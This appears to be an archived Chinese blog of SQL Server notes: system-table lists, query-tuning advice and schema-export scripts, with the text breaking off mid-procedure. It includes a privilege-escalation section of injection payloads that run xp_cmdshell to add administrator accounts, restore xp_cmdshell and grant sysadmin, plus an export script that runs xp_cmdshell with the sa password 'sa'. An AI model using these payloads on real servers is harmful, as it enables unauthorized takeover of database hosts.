2005年06月09日



有两个结构相同的表table1,table2
将table1插入到table2中:
  
现在采用两种方法:
1、指定回滚段,回滚段足够大
set transaction use rollback segment RBS1;
      INSERT INTO table1 NOLOGGING
         SELECT * FROM table2;
     commit;
2、采用定义cursor,每5000或10000条记录提交一次
declare
    cursor cur_select is
             select t1,t2,t3….. from tabl1;
v_id number;
v_t  table1%rowtype;
  
begin
    open cur_select;
     
    loop
      exit when cur_select%notfound;
      fetch cur_select into v_t.t1,v_t.t2,v_t.t3….. ;
      
      insert into table2
      (t1,t2,t3……)
      values
      (v_t.t1,v_t.t2,v_t.t3….. );
  
      v_id := v_id + 1;
  
      if v_id = 10000 then
        commit;
        v_id := 0;
      end if;
        
    end loop;
  
    commit;  
end;
  
我现在只有这两种方法,足够笨的!请教各位高士还有没有其他的方法?

2005年05月11日

sysaltfiles 主数据库 保存数据库的文件
syscharsets 主数据库 字符集与排序顺序
sysconfigures 主数据库 配置选项
syscurconfigs 主数据库 当前配置选项
sysdatabases 主数据库 服务器中的数据库
syslanguages 主数据库 语言
syslogins 主数据库 登陆帐号信息
sysoledbusers 主数据库 链接服务器登陆信息
sysprocesses 主数据库 进程
sysremotelogins主数据库 远程登录帐号
syscolumns 每个数据库 列
sysconstrains 每个数据库 限制
sysfilegroups 每个数据库 文件组
sysfiles 每个数据库 文件
sysforeignkeys 每个数据库 外部关键字
sysindexs 每个数据库 索引
sysmenbers 每个数据库 角色成员
sysobjects 每个数据库 所有数据库对象
syspermissions 每个数据库 权限
systypes 每个数据库 用户定义数据类型
sysusers 每个数据库 用户

2005年04月09日
SQL Server 提升权限相关命令及防范
;exec master..xp_cmdshell "net user name password /add"–
;exec master..xp_cmdshell "net localgroup administrators name /add"–

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=’X' and name=’xp_cmdshell’
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc ’xp_cmdshell’,'xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’X' and name=’xp_cmdshell’
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc ’xp_cmdshell’,'C:/WinNt/System32/xplog70.dll’

堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"


DOS:
dir c:/
dir d:/
dir e:/

net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin


sa帐号的改名和删除
首先打开SQL中的企业管理器,接着在工具选项卡中选择SQL server配置属性依次,点服务器设置,看到允许对系统目录直接进行修改前面的方框吗,点一下,好。
再打开查询分析器,登陆进去(呵呵,随便你用什么帐号进去,不过可一定要在master数据库中有db_owner的权限)输入


程序代码: [ 复制代码 ] [ 运行代码 ] 
update sysxlogins set name=’你要改成的名字’ where sid=0×01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name=’你要改成的名字’



,OK,执行成功,好拉,转道企业管理器中刷新安全性中的登陆,看看,sa是不是变成xwq拉,呵呵,选中xwq点击右键,怎么样是不是出现拉删除的选项,呵呵,删除。看看sa是不是已经没有拉。


后记

直接在查询分析器里怎么删除sa

直接在查询分析器里怎么删除sa,做法和前面所说的差不多,只不过这次不是在企业管理器中做手脚拉,而是利用sql提供给我们功能强大的存储过程来完成这项任务。下面就是我所说的需要利用的存储过程sp_configure,sp_configure显示或更改当前服务器的全局配置设置。
它的语法:

程序代码: [ 复制代码 ] [ 运行代码 ] 
sp_configure [ [ @configname = ] ’name’ ]
[ , [ @configvalue = ] ’value’ ]



实例:

程序代码: [ 复制代码 ] [ 运行代码 ] 
sp_configure ’allow updates’, 1
go
RECONFIGURE WITH OVERRIDE
go



好拉,这样我们就可以更新系统表拉,接下来和前面的做法一样拉 update sysxlogins set name=’你要改成的名字’ where sid=0×01,然后再删除"你改名后的那个名字"
不过要注意在 sp_configure 上没有参数(或只有第一个参数)的执行许可权限默认授予所有用户。有两个参数的 sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin 和 serveradmin 固定服务器角色。RECONFIGURE 权限默认授予 sysadmin 固定服务器角色和 serveradmin 固定服务器角色,并且不能传输。还得在master中是db_owner。

update sysxlogins set name=’你要改成的名字’ where sid=0×01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name=’你要改成的名字’



,OK,执行成功,好拉,转道企业管理器中刷新安全性中的登陆,看看,sa是不是变成xwq拉,呵呵,选中xwq点击右键,怎么样是不是出现拉删除的选项,呵呵,删除。看看sa是不是已经没有拉。


后记

直接在查询分析器里怎么删除sa

直接在查询分析器里怎么删除sa,做法和前面所说的差不多,只不过这次不是在企业管理器中做手脚拉,而是利用sql提供给我们功能强大的存储过程来完成这项任务。下面就是我所说的需要利用的存储过程sp_configure,sp_configure显示或更改当前服务器的全局配置设置。
它的语法:

程序代码: [ 复制代码 ] [ 运行代码 ] 
sp_configure [ [ @configname = ] ’name’ ]
[ , [ @configvalue = ] ’value’ ]



实例:

程序代码: [ 复制代码 ] [ 运行代码 ] 
sp_configure ’allow updates’, 1
go
RECONFIGURE WITH OVERRIDE
go



好拉,这样我们就可以更新系统表拉,接下来和前面的做法一样拉 update sysxlogins set name=’你要改成的名字’ where sid=0×01,然后再删除"你改名后的那个名字"
不过要注意在 sp_configure 上没有参数(或只有第一个参数)的执行许可权限默认授予所有用户。有两个参数的 sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin 和 serveradmin 固定服务器角色。RECONFIGURE 权限默认授予 sysadmin 固定服务器角色和 serveradmin 固定服务器角色,并且不能传输。还得在master中是db_owner。

2005年04月06日




●查询速度慢的原因很多,常见如下几种:
1、没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷)
2、I/O吞吐量小,形成了瓶颈效应。
3、没有创建计算列导致查询不优化。
4、内存不足
5、网络速度慢
6、查询出的数据量过大(可以采用多次查询,其他的方法降低数据量)
7、锁或者死锁(这也是查询慢最常见的问题,是程序设计的缺陷)sp_lock,sp_who,活动的用户查看,原因是读写竞争资源。
9、返回了不必要的行和列
10、查询语句不好,没有优化

●可以通过如下方法来优化查询 :
1、把数据、日志、索引放到不同的I/O设备上,增加读取速度,以前可以将Tempdb应放在RAID0上,SQL2000不在支持。数据量(尺寸)越大,提高I/O越重要.
2、纵向、横向分割表,减少表的尺寸(sp_spaceuse)
3、升级硬件
4、根据查询条件,建立索引,优化索引、优化访问方式,限制结果集的数据量。注意填充因子要适当(最好是使用默认值0)。索引应该尽量小,使用字节数小的列建索引好(参照索引的创建),不要对有限的几个值的字段建单一索引如性别字段
5、提高网速;
6、扩大服务器的内存,Windows 2000和SQL server 2000能支持4-8G的内存。
配置虚拟内存:
虚拟内存大小应基于计算机上并发运行的服务进行配置。运行 Microsoft SQL Server™ 2000 时,可考虑将虚拟内存大小设置为计算机中安装的物理内存的 1.5 倍。如果另外安装了全文检索功能,并打算运行 Microsoft 搜索服务以便执行全文索引和查询,可考虑:
将虚拟内存大小配置为至少是计算机中安装的物理内存的 3 倍。
将 SQL Server max server memory 服务器配置选项配置为物理内存的 1.5 倍(虚拟内存大小设置的一半)。
7、增加服务器CPU个数;但是必须明白并行处理串行处理更需要资源例如内存。使用并行还是串行程是MsSQL自动评估选择的。单个任务分解成多个任务,就可以在处理器上运行。例如耽搁查询的排序、连接、扫描和GROUP BY字句同时执行,SQL SERVER根据系统的负载情况决定最优的并行等级,复杂的需要消耗大量的CPU的查询最适合并行处理。但是更新操作UPDATE,INSERT,DELETE还不能并行处理。
8、如果是使用like进行查询的话,简单的使用index是不行的,但是全文索引,耗空间。
like ‘a%’ 使用索引
like ‘%a’ 不使用索引
用 like ‘%a%’ 查询时,查询耗时和字段值总长度成正比,所以不能用CHAR类型,而是VARCHAR。对于字段的值很长的建全文索引。
9、DB Server 和APPLication Server 分离;OLTP和OLAP分离
10、分布式分区视图可用于实现数据库服务器联合体。联合体是一组分开管理的服务器,但它们相互协作分担系统的处理负荷。这种通过分区数据形成数据库服务器联合体的机制能够扩大一组服务器,以支持大型的多层 Web 站点的处理需要。有关更多信息,参见设计联合数据库服务器。(参照SQL帮助文件’分区视图’)
    a、在实现分区视图之前,必须先水平分区表

b、在创建成员表后,在每个成员服务器上定义一个分布式分区视图,并且每个视图具有相同的
名称。这样,引用分布式分区视图名的查询可以在任何一个成员服务器上运行。系统操作如同每个成员服务器上都有一个原始表的复本一样,但其实每个服务器上只有一个成员表和一个分布式分区视图。数据的位置对应用程序是透明的。
11、重建索引 DBCC REINDEX ,DBCC INDEXDEFRAG,收缩数据和日志 DBCC SHRINKDB,DBCC SHRINKFILE.
    设置自动收缩日志.对于大的数据库不要设置数据库自动增长,它会降低服务器的性能。

在T-sql的写法上有很大的讲究,下面列出常见的要点:
首先,DBMS处理查询计划的过程是这样的:
1、 查询语句的词法、语法检查
2、 将语句提交给DBMS的查询优化器
3、 优化器做代数优化和存取路径的优化
4、 由预编译模块生成查询规划
5、 然后在合适的时间提交给系统处理执行
6、 最后将执行结果返回给用户
其次,看一下SQL SERVER的数据存放的结构:
一个页面的大小为8K(8060)字节,8个页面为一个盘区,按照B树存放。
Commit和rollback的区别
Rollback:回滚所有的事物。
Commit:提交当前的事物.
没有必要在动态SQL里写事物,如果要写请写在外面如:
begin tran
  exec(@s)
commit trans
或者将动态SQL 写成函数或者存储过程。

13、在查询Select语句中用Where字句限制返回的行数,避免表扫描,如果返回不必要的数据,浪费了服务器的I/O资源,加重了网络的负担降低性能。如果表很大,在表扫描的期间将表锁住,禁止其他的联接访问表,后果严重。
14、SQL的注释申明对执行没有任何影响
15、尽可能不使用光标,它占用大量的资源。如果需要row-by-row地执行,尽量采用非光标技术,如:在客户端循环,用临时表,Table变量,用子查询,用Case语句等等。游标可以按照它所支持的提取选项进行分类:
只进
必须按照从第一行到最后一行的顺序提取行。FETCH NEXT 是唯一允许的提取操作,也是默认方式。
可滚动性
可以在游标中任何地方随机提取任意行。
游标的技术在SQL2000下变得功能很强大,他的目的是支持循环。
有四个并发选项
READ_ONLY:不允许通过游标定位更新(Update),且在组成结果集的行中没有锁。
OPTIMISTIC WITH valueS:乐观并发控制是事务控制理论的一个标准部分。乐观并发控制用于这样的情形,即在打开游标及更新行的间隔中,只有很小的机会让第二个用户更新某一行。当某个游标以此选项打开时,没有锁控制其中的行,这将有助于最大化其处理能力。如果用户试图修改某一行,则此行的当前值会与最后一次提取此行时获取的值进行比较。如果任何值发生改变,则服务器就会知道其他人已更新了此行,并会返回一个错误。如果值是一样的,服务器就执行修改。
选择这个并发选项将迫使用户或程序员承担责任,处理那些表示其它用户已经对其进行了修改的错误。应用程序收到这种错误时采取的典型措施就是刷新游标,获得其新值,然后让用户决定是否对新值进行修改。
OPTIMISTIC WITH ROW VERSIONING:此乐观并发控制选项基于行版本控制。使用行版本控制,其中的表必须具有某种版本标识符,服务器可用它来确定该行在读入游标后是否有所更改。在 SQL Server 中,这个性能由 timestamp 数据类型提供,它是一个二进制数字,表示数据库中更改的相对顺序。每个数据库都有一个全局当前时间戳值:@@DBTS。每次以任何方式更改带有 timestamp 列的行时,SQL Server 先在时间戳列中存储当前的 @@DBTS 值,然后增加 @@DBTS 的值。如果某

个表具有 timestamp 列,则时间戳会被记到行级。服务器就可以比较某行的当前时间戳值和上次提取时所存储的时间戳值,从而确定该行是否已更新。服务器不必比较所有列的值,只需比较 timestamp 列即可。如果应用程序对没有 timestamp 列的表要求基于行版本控制的乐观并发,则游标默认为基于数值的乐观并发控制。
SCROLL LOCKS
这个选项实现悲观并发控制。在悲观并发控制中,在把数据库的行读入游标结果集时,应用程序将试图锁定数据库行。在使用服务器游标时,将行读入游标时会在其上放置一个更新锁。如果在事务内打开游标,则该事务更新锁将一直保持到事务被提交或回滚;当提取下一行时,将除去游标锁。如果在事务外打开游标,则提取下一行时,锁就被丢弃。因此,每当用户需要完全的悲观并发控制时,游标都应在事务内打开。更新锁将阻止任何其它任务获取更新锁或排它锁,从而阻止其它任务更新该行。然而,更新锁并不阻止共享锁,所以它不会阻止其它任务读取行,除非第二个任务也在要求带更新锁的读取。
滚动锁
根据在游标定义的 SELECT 语句中指定的锁提示,这些游标并发选项可以生成滚动锁。滚动锁在提取时在每行上获取,并保持到下次提取或者游标关闭,以先发生者为准。下次提取时,服务器为新提取中的行获取滚动锁,并释放上次提取中行的滚动锁。滚动锁独立于事务锁,并可以保持到一个提交或回滚操作之后。如果提交时关闭游标的选项为关,则 COMMIT 语句并不关闭任何打开的游标,而且滚动锁被保留到提交之后,以维护对所提取数据的隔离。
所获取滚动锁的类型取决于游标并发选项和游标 SELECT 语句中的锁提示。
锁提示 只读 乐观数值 乐观行版本控制 锁定
无提示 未锁定 未锁定 未锁定 更新
NOLOCK 未锁定 未锁定 未锁定 未锁定
HOLDLOCK 共享 共享 共享 更新
UPDLOCK 错误 更新 更新 更新
TABLOCKX 错误 未锁定 未锁定 更新
其它 未锁定 未锁定 未锁定 更新
*指定 NOLOCK 提示将使指定了该提示的表在游标内是只读的。
16、用Profiler来跟踪查询,得到查询所需的时间,找出SQL的问题所在;用索引优化器优化索引
17、注意UNion和UNion all 的区别。UNION all好
18、注意使用DISTINCT,在没有必要时不要用,它同UNION一样会使查询变慢。重复的记录在查询里是没有问题的
19、查询时不要返回不需要的行、列

20、用sp_configure ‘query governor cost limit’或者SET QUERY_GOVERNOR_COST_LIMIT来限制查询消耗的资源。当评估查询消耗的资源超出限制时,服务器自动取消查询,在查询之前就扼杀掉。SET LOCKTIME设置锁的时间

21、用select top 100 / 10 Percent 来限制用户返回的行数或者SET ROWCOUNT来限制操作的行
22、在SQL2000以前,一般不要用如下的字句: "IS NULL", "<>", "!=", "!>", "!<", "NOT", "NOT EXISTS", "NOT IN", "NOT LIKE",  and "LIKE ‘%500′",因为他们不走索引全是表扫描。也不要在WHere字句中的列名加函数,如Convert,substring等,如果必须用函数的时候,创建计算列再创建索引来替代.还可以变通写法:WHERE SUBSTRING(firstname,1,1) = ‘m’改为WHERE firstname like ‘m%’(索引扫描),一定要将函数和列名分开。并且索引不能建得太多和太大。NOT IN会多次扫描表,使用EXISTS、NOT EXISTS ,IN , LEFT OUTER JOIN 来替代,特别是左连接,而Exists比IN更快,最慢的是NOT操作.如果列的值含有空,以前它的索引不起作用,现在2000的优化器能够处理了。相同的是IS NULL,“NOT", "NOT EXISTS", "NOT IN"能优化她,而”<>”等还是不能优化,用不到索引。
23、使用Query Analyzer,查看SQL语句的查询计划和评估分析是否是优化的SQL。一般的20%的代码占据了80%的资源,我们优化的重点是这些慢的地方。
24、如果使用了IN或者OR等时发现查询没有走索引,使用显示申明指定索引:
    SELECT * FROM PersonMember (INDEX = IX_Title) WHERE processid IN (‘男’,‘女’)
25、将需要查询的结果预先计算好放在表中,查询的时候再SELECT。这在SQL7.0以前是最重要的手段。例如医院的住院费计算。
26、MIN() 和 MAX()能使用到合适的索引。
27、数据库有一个原则是代码离数据越近越好,所以优先选择Default,依次为Rules,Triggers,  Constraint(约束如外健\主健\Check\UNIQUE……,数据类型的最大长度等等都是约束),Procedure.这样不仅维护工作小,编写程序质量高,并且执行的速度快。
28、如果要插入大的二进制值到Image列,使用存储过程,千万不要用内嵌INsert来插入(不知JAVA是否)。因为这样应用程序首先将二进制值转换成字符串(尺寸是它的两倍),服务器受到字符后又将他转换成二进制值.存储过程就没有这些动作:
方法:Create procedure p_insert as insert into table(Fimage) values (@image),
在前台调用这个存储过程传入二进制参数,这样处理速度明显改善。
29、Between在某些时候比IN速度更快,Between能够更快地根据索引找到范围。用查询优化器可见到差别。
select * from chineseresume where title in (‘男’,'女’)
Select * from chineseresume where between ‘男’ and ‘女’
是一样的。由于in会在比较多次,所以有时会慢些。

30、在必要是对全局或者局部临时表创建索引,有时能够提高速度,但不是一定会这样,因为索引也耗费大量的资源。他的创建同是实际表一样。

              
31、不要建没有作用的事物例如产生报表时,浪费资源。只有在必要使用事物时使用它。
32、用OR的字句可以分解成多个查询,并且通过UNION 连接多个查询。他们的速度只同是否使用索
引有关,如果查询需要用到联合索引,用UNION all执行的效率更高.多个OR的字句没有用到索引,改写成UNION的形式再试图与索引匹配。一个关键的问题是否用到索引。
33、尽量少用视图,它的效率低。对视图操作比直接对表操作慢,可以用stored  procedure来代替她。特别的是不要用视图嵌套,嵌套视图增加了寻找原始资料的难度。我们看视图的本质:它是存放在服务器上的被优化好了的已经产生了查询规划的SQL。对单个表检索数据时,不要使用指向多个表的视图,直接从表检索或者仅仅包含这个表的视图上读,否则增加了不必要的开销,查询受到干扰.为了加快视图的查询,MsSQL增加了视图索引的功能。
34、没有必要时不要用DISTINCT和ORDER BY,这些动作可以改在客户端执行。它们增加了额外的开销。这同UNION 和UNION ALL一样的道理。
SELECT top 20 ad.companyname,comid,position,ad.referenceid,worklocation,
convert(varchar(10),ad.postDate,120)
as postDate1,workyear,degreedescription
FROM jobcn_query.dbo.COMPANYAD_query ad
where referenceID
in(‘JCNAD00329667′,’JCNAD132168′,’JCNAD00337748′,’JCNAD00338345′,’JCNAD00333138′,’JCNAD00303570′,
‘JCNAD00303569′,’JCNAD00303568′,’JCNAD00306698′,’JCNAD00231935′,’JCNAD00231933′,’JCNAD00254567′,
‘JCNAD00254585′,’JCNAD00254608′,’JCNAD00254607′,’JCNAD00258524′,’JCNAD00332133′,’JCNAD00268618′,
‘JCNAD00279196′,’JCNAD00268613′)
order by postdate desc

35、在IN后面值的列表中,将出现最频繁的值放在最前面,出现得最少的放在最后面,减少判断的次数。

36、当用SELECT INTO时,它会锁住系统表(syso b j e c ts,sysindexes等等),阻塞其他的连接的存取。创建临时表时用显示申明语句,而不是select INTO.
drop table t_lxh
begin tran
select * into t_lxh from chineseresume where name = ‘XYZ’
–commit
在另一个连接中SELECT * from syso b j e c ts可以看到
SELECT INTO 会锁住系统表,Create table 也会锁系统表(不管是临时表还是系统表)。所以千万不要在事物内使用它!!!这样的话如果是经常要用的临时表请使用实表,或者临时表变量。
37、一般在GROUP BY 个HAVING字句之前就能剔除多余的行,所以尽量不要用它们来做剔除行的工作。他们的执行顺序应该如下最优:select 的Where字句选择所有合适的行,Group By用来分组个统计行,Having字句用来剔除多余的分组。这样Group By 个Having的开销小,查询快.对于大的数据行进行分组和Having十分消耗资源。如果Group BY的目的不包括计算,只是分组,那么用Distinct更快
41、一次更新多条记录比分多次更新每次一条快,就是说批处理好
42、少用临时表,尽量用结果集和Table类性的变量来代替它,Table 类型的变量比临时表好
43、在SQL2000下,计算字段是可以索引的,需要满足的条件如下:
a、计算字段的表达是确定的
b、不能用在TEXT,Ntext,Image数据类型
c、必须配制如下选项
ANSI_NULLS = ON, ANSI_PADDINGS = ON, …….
44、尽量将数据的处理工作放在服务器上,减少网络的开销,如使用存储过程。存储过程是编译好、优化过、并且被组织到一个执行规划里、且存储在数据库中的SQL语句,是控制流语言的集合,速度当然快。反复执行的动态SQL,可以使用临时存储过程,该过程(临时表)被放在Tempdb中。
以前由于SQL SERVER对复杂的数学计算不支持,所以不得不将这个工作放在其他的层上而增加网络的开销。SQL2000支持UDFs,现在支持复杂的数学计算,函数的返回值不要太大,这样的开销很大。用户自定义函数象光标一样执行的消耗大量的资源,如果返回大的结果采用存储过程
45、不要在一句话里再三的使用相同的函数,浪费资源,将结果放在变量里再调用更快
46、SELECT COUNT(*)的效率教低,尽量变通他的写法,而EXISTS快.同时请注意区别:
select count(Field of null) from Table 和 select count(Field of NOT null) from Table
的返回值是不同的!!!
47、当服务器的内存够多时,配制线程数量 = 最大连接数+5,这样能发挥最大的效率;
否则使用 配制线程数量<最大连接数启用SQL SERVER的线程池来解决,如果还是数量 = 最大连接数+5,严重的损害服务器的性能。
48、按照一定的次序来访问你的表。如果你先锁住表A,再锁住表B,那么在所有的存储过程中都要按照这个顺序来锁定它们。如果你(不经意的)某个存储过程中先锁定表B,再锁定表A,这可能就
会导致一个死锁。如果锁定顺序没有被预先详细的设计好,死锁很难被发现


49、通过SQL Server Performance Monitor监视相应硬件的负载
Memory: Page Faults / sec计数器
如果该值偶尔走高,表明当时有线程竞争内存。如果持续很高,则内存可能是瓶颈。
Process:
1、% DPC Time 指在范例间隔期间处理器用在缓延程序调用(DPC)接收和提供服务的百分比。(DPC 正在运行的为比标准间隔优先权低的间隔)。 由于 DPC 是以特权模式执行的,DPC 时间的百分比为特权时间 百分比的一部分。这些时间单独计算并且不属于间隔计算总数的一部 分。这个总数显示了作为实例时间百分比的平均忙时。
2、%Processor Time计数器
 如果该参数值持续超过95%,表明瓶颈是CPU。可以考虑增加一个处理器或换一个更快的处理器。
    3、% Privileged Time 指非闲置处理器时间用于特权模式的百分比。(特权模式是为操作系统组件和操纵硬件驱动程序而设计的一种处理模式。它允许直接访问硬件和所有内存。另一种模式为用户模式,它是一种为应用程序、环境分系统和整数分系统设计的一种有限处理模式。操作系统将应用程序线程转换成特权模式以访问操作系统服务)。 特权时间的 % 包括为间断和 DPC 提供服务的时间。特权时间比率高可能是由于失败设备产生的大数量的间隔而引起的。这个计数器将平均忙时作为样本时间的一部分显示。
  4、% User Time表示耗费CPU的数据库操作,如排序,执行aggregate functions等。如果该值很高,可考虑增
加索引,尽量使用简单的表联接,水平分割大表格等方法来降低该值。

Physical Disk: Curretn Disk Queue Length计数器
该值应不超过磁盘数的1.5~2倍。要提高性能,可增加磁盘。
SQLServer:Cache Hit Ratio计数器
该值越高越好。如果持续低于80%,应考虑增加内存。 注意该参数值是从SQL Server启动后,就一直累加记数,所以运行经过一段时间后,该值将不能反映系统当前值。
40、分析select emp_name form employee where salary > 3000 在此语句中若salary是Float类型的,则优化器对其进行优化为Convert(float,3000),因为3000是个整数,我们应在编程时使用3000.0而不要等运行时让DBMS进行转化。同样字符和整型数据的转换。
41、查询的关联同写的顺序
select a.personMemberID, * from chineseresume a,personmember b  where
personMemberID = b.referenceid and a.personMemberID = ‘JCNPRH39681′
(A = B ,B = ‘号码’)
select a.personMemberID, * from chineseresume a,personmember b  where
a.personMemberID = b.referenceid and a.personMemberID = ‘JCNPRH39681′
and b.referenceid = ‘JCNPRH39681′
(A = B ,B = ‘号码’, A = ‘号码’)
select a.personMemberID, * from chineseresume a,personmember b  where
b.referenceid = ‘JCNPRH39681′ and   a.personMemberID = ‘JCNPRH39681′
(B = ‘号码’, A = ‘号码’)

42、(1) IF 没有输入负责人代码 THEN
code1=0
code2=9999
ELSE
code1=code2=负责人代码
END IF
执行SQL语句为:
SELECT 负责人名 FROM P2000 WHERE 负责人代码>=:code1 AND负责人代码  <=:code2
(2) IF 没有输入负责人代码 THEN
 SELECT 负责人名 FROM P2000
ELSE
code= 负责人代码
SELECT 负责人代码 FROM P2000  WHERE 负责人代码=:code
END IF
    第一种方法只用了一条SQL语句,第二种方法用了两条SQL语句。在没有输入负责人代码时,第二种方法显然比第一种方法执行效率高,因为它没有限制条件;在输入了负责人代码时,第二种方法仍然比第一种方法效率高,不仅是少了一个限制条件,还因相等运算是最快的查询运算。我们写程序不要怕麻烦

43、关于JOBCN现在查询分页的新方法(如下),用性能优化器分析性能的瓶颈,如果在I/O或者网
络的速度上,如下的方法优化切实有效,如果在CPU或者内存上,用现在的方法更好。请区分如下的方法,说明索引越小越好。
begin
DECLARE  @local_variable table (FID int identity(1,1),ReferenceID varchar(20))
insert into @local_variable (ReferenceID)
  select top 100000 ReferenceID from chineseresume order by ReferenceID
select * from @local_variable where Fid > 40 and fid <= 60
end

begin
DECLARE  @local_variable table (FID int identity(1,1),ReferenceID varchar(20))
insert into @local_variable (ReferenceID)
  select top 100000 ReferenceID from chineseresume order by updatedate
select * from @local_variable where Fid > 40 and fid <= 60
end
的不同

begin
create table #temp  (FID int identity(1,1),ReferenceID varchar(20))
insert into #temp (ReferenceID)
  select top 100000 ReferenceID from chineseresume order by updatedate
select * from #temp where Fid > 40 and fid <= 60
drop table #temp
end

2005年01月27日


======================================================

–列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息

–在查询分析器里运行即可,可以生成一个表,导出到EXCEL中

– ======================================================

SELECT

       (case when a.colorder=1 then d.name else ” end)表名,

       a.colorder 字段序号,

       a.name 字段名,

       (case when COLUMNPROPERTY( a.id,a.name,’IsIdentity’)=1 then ‘√’else ” end) 标识,

       (case when (SELECT count(*)

       FROM syso b j e c ts

       WHERE (name in

                 (SELECT name

                FROM sysindexes

                WHERE (id = a.id) AND (indid in

                          (SELECT indid

                         FROM sysindexkeys

                         WHERE (id = a.id) AND (colid in

                                   (SELECT colid

                                  FROM syscolumns

                                  WHERE (id = a.id) AND (name = a.name))))))) AND

              (xtype = ‘PK’))>0 then ‘√’ else ” end) 主键,

       b.name 类型,

       a.length 占用字节数,

       COLUMNPROPERTY(a.id,a.name,’PRECISION’) as 长度,

       isnull(COLUMNPROPERTY(a.id,a.name,’Scale’),0) as 小数位数,

       (case when a.isnullable=1 then ‘√’else ” end) 允许空,

       isnull(e.text,”) 默认值,

       isnull(g.[value],”) AS 字段说明    



FROM  syscolumns  a left join systypes b

on  a.xtype=b.xusertype

inner join syso b j e c ts d

on a.id=d.id  and  d.xtype=’U’ and  d.name<>’dtproperties’

left join syscomments e

on a.cdefault=e.id

left join sysproperties g

on a.id=g.id AND a.colid = g.smallid  

order by a.id,a.colorder

————————————————————————————————-













列出SQL SERVER 所有表、字段定义,类型,长度,一个值等信息

并导出到Excel 中

– ======================================================

– Export all user tables definition and one sample value

– jan-13-2003,Dr.Zhang

– ======================================================

在查询分析器里运行:

SET ANSI_NULLS OFF

GO

SET NOCOUNT ON

GO



SET LANGUAGE ‘Simplified Chinese’

go

DECLARE @tbl nvarchar(200),@fld nvarchar(200),@sql nvarchar(4000),@maxlen int,@sample nvarchar(40)



SELECT d.name TableName,a.name FieldName,b.name TypeName,a.length Length,a.isnullable IS_NULL INTO #t

FROM  syscolumns  a,  systypes b,syso b j e c ts d  

WHERE  a.xtype=b.xusertype  and  a.id=d.id  and  d.xtype=’U’



DECLARE read_cursor CURSOR

FOR SELECT TableName,FieldName FROM #t



SELECT TOP 1 ‘_TableName                     ‘ TableName,

            ’FieldName                      ’ FieldName,’TypeName             ‘ TypeName,

            ’Length’ Length,’IS_NULL’ IS_NULL,

            ’MaxLenUsed’ AS MaxLenUsed,’Sample Value          ’ Sample,

             ‘Comment   ‘ Comment INTO #tc FROM #t



OPEN read_cursor



FETCH NEXT FROM read_cursor INTO @tbl,@fld

WHILE (@@fetch_status <> -1)  — failes

BEGIN

       IF (@@fetch_status <> -2) — Missing

       BEGIN

              SET @sql=N’SET @maxlen=(SELECT max(len(cast(‘+@fld+’ as nvarchar))) FROM ‘+@tbl+’)’

              –PRINT @sql

              EXEC SP_EXECUTESQL @sql,N’@maxlen int OUTPUT’,@maxlen OUTPUT

              –print @maxlen

              SET @sql=N’SET @sample=(SELECT TOP 1 cast(‘+@fld+’ as nvarchar) FROM ‘+@tbl+’ WHERE len(cast(‘+@fld+’ as nvarchar))=’+convert(nvarchar(5),@maxlen)+’)’

              EXEC SP_EXECUTESQL @sql,N’@sample varchar(30) OUTPUT’,@sample OUTPUT

              –for quickly  

              –SET @sql=N’SET @sample=convert(varchar(20),(SELECT TOP 1 ‘+@fld+’ FROM ‘+

                     –@tbl+’ order by 1 desc ))’  

              PRINT @sql

              print @sample

              print @tbl

              EXEC SP_EXECUTESQL @sql,N’@sample nvarchar(30) OUTPUT’,@sample OUTPUT

              INSERT INTO #tc SELECT *,ltrim(ISNULL(@maxlen,0)) as MaxLenUsed,

                     convert(nchar(20),ltrim(ISNULL(@sample,’ ‘))) as Sample,’ ‘ Comment FROM #t where TableName=@tbl and FieldName=@fld

       END

       FETCH NEXT FROM read_cursor INTO @tbl,@fld

END



CLOSE read_cursor

DEALLOCATE read_cursor

GO



SET ANSI_NULLS ON

GO

SET NOCOUNT OFF

GO

select count(*)  from #t

DROP TABLE #t

GO



select count(*)-1  from #tc



select * into ##tx from #tc order by tablename

DROP TABLE #tc



–select * from ##tx



declare @db nvarchar(60),@sql nvarchar(3000)

set @db=db_name()

–请修改用户名和口令 导出到Excel 中

set @sql=’exec master.dbo.xp_cmdshell ”bcp ..dbo.##tx out c:\’+@db+’_exp.xls -w -C936 -Usa -Psa ”’

print @sql

exec(@sql)

GO

DROP TABLE ##tx

GO







– ======================================================

–根据表中数据生成insert语句的存储过程

–建立存储过程,执行 spGenInsertSQL 表名

–感谢playyuer

– ======================================================

CREATE   proc spGenInsertSQL (@tablename varchar(256))



as

begin

  declare @sql varchar(8000)

  declare @sqlValues varchar(8000)

  set @sql =’ (‘

  set @sqlValues = ‘values (”+’

  select @sqlValues = @sqlValues + cols + ‘ + ”,” + ‘ ,@sql = @sql + ‘[' + name + '],’

    from

        (select case

                  when xtype in (48,52,56,59,60,62,104,106,108,122,127)                                

                       then ‘case when ‘+ name +’ is null then ”NULL” else ‘ + ‘cast(‘+ name + ‘ as varchar)’+’ end’

                  when xtype in (58,61)

                       then ‘case when ‘+ name +’ is null then ”NULL” else ‘+””””’ + ‘ + ‘cast(‘+ name +’ as varchar)’+ ‘+””””’+’ end’

                 when xtype in (167)

                       then ‘case when ‘+ name +’ is null then ”NULL” else ‘+””””’ + ‘ + ‘replace(‘+ name+’,””””,””””””)’ + ‘+””””’+’ end’

                  when xtype in (231)

                       then ‘case when ‘+ name +’ is null then ”NULL” else ‘+”’N””” + ‘ + ‘replace(‘+ name+’,””””,””””””)’ + ‘+””””’+’ end’

                  when xtype in (175)

